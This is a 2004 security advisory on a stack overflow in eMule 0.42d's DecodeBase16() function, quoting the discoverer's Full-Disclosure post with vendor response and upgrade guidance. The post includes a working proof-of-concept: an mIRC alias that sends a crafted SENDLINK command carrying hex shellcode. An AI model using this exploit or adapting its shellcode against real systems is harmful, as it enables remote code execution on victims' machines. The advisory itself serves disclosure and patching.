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eMule DecodeBase16() Stack Overflow Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1009651
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Apr 3 2004
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Impact: Execution of arbitrary code via network, User access via network
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Fix Available: Yes
Vendor Confirmed: Yes
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Version(s): 0.42d, possibly earlier versions
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Description: A vulnerability was reported in eMule in the decoding of hexadecimal strings. A remote user can cause arbitrary code to be executed on the target system.
Kostya Kortchinsky reported that there is a stack overflow vulnerability in the DecodeBase16() function, called in the web server
code and the IRC client code.
A remote user can exploit this flaw by, for example, sending a specially crafted IRC SENDLINK command
to the target user.
A demonstration exploit example is provided in the Source Message.
The vendor was reportedly notified
on March 30, 2004.
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Impact: A remote user can execute arbitrary code on the target system.
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Solution: The vendor has released a fixed version (0.42e), available at:
http://www.emule-project.net/home/perl/general.cgi?l=1&rm=download
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Vendor URL: www.emule-project.net/ (Links to External Site)
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Cause: Boundary error
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Underlying OS: Windows (Any)
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Reported By: Kostya Kortchinsky <kostya.kortchinsky@renater.fr>
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Message History:
None.
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Source Message Contents
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Date: Sat, 03 Apr 2004 11:31:11 +0200
From: Kostya Kortchinsky <kostya.kortchinsky@renater.fr>
Subject: [Full-Disclosure] eMule v0.42d Buffer Overflow
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eMule v0.42d Buffer Overflow
Description
-----------
A vulnerability exists in eMule v0.42d (and probably earlier versions)
in the DecodeBase16(...) function. This function takes an hexadecimal
string, its length, and a destination buffer (on the stack) as
parameters. The function decodes whatever is supplied, no length check
is performed on the string nor on the buffer, leading to a possible
stack overflow.
The function is called 5 times in the code: 3 times in the web server
(which may require authentication) and 2 times in the IRC client (not
connected by default).
uchar userid[16];
DecodeBase16(hash.GetBuffer(),hash.GetLength(),userid);
Proof of concept
----------------
Bourriquet is an mIRC alias exploiting this overflow in v0.42d via the
SENDLINK command, it calls MessageBoxA (to display 'Patch your eMule !')
and then ExitProcess :
/bourriquet { .quote PRIVMSG $1
$+(:,$chr(1),SENDLINK|,909090909090909090909090909090909090909090909090909090909090909090909090909090
90909090909090909090909090909090909090909090909090909090909090909090909090EB0790907AF65700906681EC400
031C96820210000684D756C656875722065686820796F
685061746389E2515152513EFF15C0E76100503EFF1568E461009090909090909090909090909090909090909090909090909
090909090909090909090909090909090909090909090909090909090909090909090909090,|,$chr(1))
Developer response
------------------
The flaw was reported to bluecow from the eMule Team on March, 30th
2004 on IRC. He stated the issue would be patched in the upcoming eMule
release, available here:
http://www.emule-project.net/home/perl/news.cgi?l=1&cat_id=22
An effort was also done in changing the IRC server address and kicking
out vulnerable clients (nice work :)
Solution/Workaround
-------------------
The following options are available:
- upgrade to eMule version 0.42e,
- do not use the eMule web server and IRC client,
- uninstall eMule :)
Credits
-------
The vulnerability was discovered by Kostya Kortchinsky, from CERT
RENATER, on March 24th 2004, following a FHP meeting and a remark from
nico : "eMule and all these P2P tools are better than VNC to get remote
access to a box".
Greetings to the people of the French Honeynet Project, MISC Magazine
and #fee1dead@EFnet.
Advertising
-----------
CanSecWest/core04 : Top security experts. Cutting edge techniques and
information.
Vancouver, Canada - April 21-23 2004 - http://cansecwest.com
Symposium sur la Sécurité des Technologies de l'Information et des
Communications
Rennes, France - June 2-4 2004 - http://sstic.org
See you there,
Kostya.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
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